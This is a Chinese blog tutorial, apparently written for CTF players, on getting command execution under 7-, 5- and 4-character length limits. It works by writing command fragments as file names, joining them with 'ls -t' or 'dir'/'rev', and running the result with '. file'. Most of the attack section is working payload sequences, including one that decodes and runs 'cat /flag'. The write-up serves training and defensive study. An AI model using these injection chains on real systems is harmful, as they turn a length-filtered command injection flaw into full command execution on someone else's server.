长度限制 RCE

写在前面的话

大晚上的吃完自助2点多都没睡意,于是就在床上敲了一下这篇总结了

7长度限制

前置知识

  1. 输入重导向 > 定向输出到文件,如果文件不存在,就创建文件;

    在这里插入图片描述

  2. “\” linux中可以用\使指令连接下一行,这样就可以写多行命令了。

    在这里插入图片描述

  3. ls -t 按文件最近修改时间( i 节点中的 mtime )而不是按文件名字典序排序,新文件 靠前。

  4. 文件中前面命令出错,会自动跳过,不影响后面命令的执行。

  5. Shell 脚本的执行方式通常有如下三种:

    所以思路就是把命令拆分写入几个文件的文件名中,然后利用 ls -t 整合起来放进另一个文件 file ,最后 . file 执行即可

    比如执行 ls

    >s\\ # \\ 转义 \ 防止shell 以为是命令拼接符号 
    >l\\
    ls -t>0
    

    cat 一下 0,可以发现都写进去了

    在这里插入图片描述

    然后 . 0 执行脚本

    在这里插入图片描述

    可以发现确实符合第四条 文件中前面命令出错,会自动跳过,不影响后面命令的执行。

    可以发现最长的长度就是 ls -t>0 7了

    上点难度假如要执行 echo Y2F0IC9mbGFn|base64 -d>1 怎么办?(Y2F0IC9mbGFn -> cat /flag)

    echo Y2F0IC9mbGFn|base64 -d>1
    
    >\>1  # 其实命令最后可以不用加 \\ 命令拼接的
    >-d\\
    se64\ \\
    ba\\
    Fn\|\\
    mbG\\
    IC9\\
    Y2F0\\
    ho\ \\
    ec\\
    ls -t>0
    

    cat 0 可以发现命令都集齐了

    在这里插入图片描述

    然后 . 0 执行将exp写入1,最后 . 1 执行脚本即可

    在这里插入图片描述

没啥问题,注意 命令里的空格,> ,| ,或者其他特殊字符一定要转义。

5长度限制

前置知识

  1. ‘>>’ 追加文件内容
  2. ls 默认字典序升序

主要思路是缩短 ls -t>0 这一步骤的长度,把这条命令拆分到各个文件中去

 >l\\
 >s\\
 >\ \\
 >-t\\
 >\>0

我们发现以这种格式拆分时,会得到这种排序

在这里插入图片描述

我们将 ls 得到的写入 a 文件中,然后再 ls 追加一次

在这里插入图片描述

于是乎中间就能拼凑出

l\
s\
\
-t\
>0

第一个 ls 负责提供 \l,\s;第二个 ls 提供,这也幸亏 a 排序是在 >0 和 l\ 之间.

后面的步骤就是做一遍七长度做的事情,ls -t>0 替换成 . a

>s   #最后命令不要加 \\ 了,不然会把下面无关的字符拼起来
>l\\
. a
. 0

4长度限制

前置知识

  1. 输入统配符* ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数

    在这里插入图片描述

  2. dir:虽然基本上和 ls 一样,但有两个好处,一是开头字母是d ,这使得它在 alphabetical 序中靠前,二是按列输出,不换行。

  3. rev:可以反转文件每一行的内容。

因为是四个字符,所以 ls>>? 肯定是不能用了。

看一下构造:

>dir
>sl
>g\>
>ht-

ls 看一下

在这里插入图片描述

可以看到 dir 排在最前面

*>v
>rev
*v>x

*>v 表示 执行 dir 并输出到 v 中
在这里插入图片描述

*v>x 很巧妙,这里这里目录下这么多文件,只有 rev 能执行成功(rev v>x)

在这里插入图片描述

在这里插入图片描述

整理一下,依靠这些我们得到了

>dir
>sl
>g\>
>ht-
*>v
>rev
*v>x

一个包含 ls -th > g 的 x文件。所以到时候一切照旧,最后把 ls -t>0,. 0 换成

. x
. g

即可

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值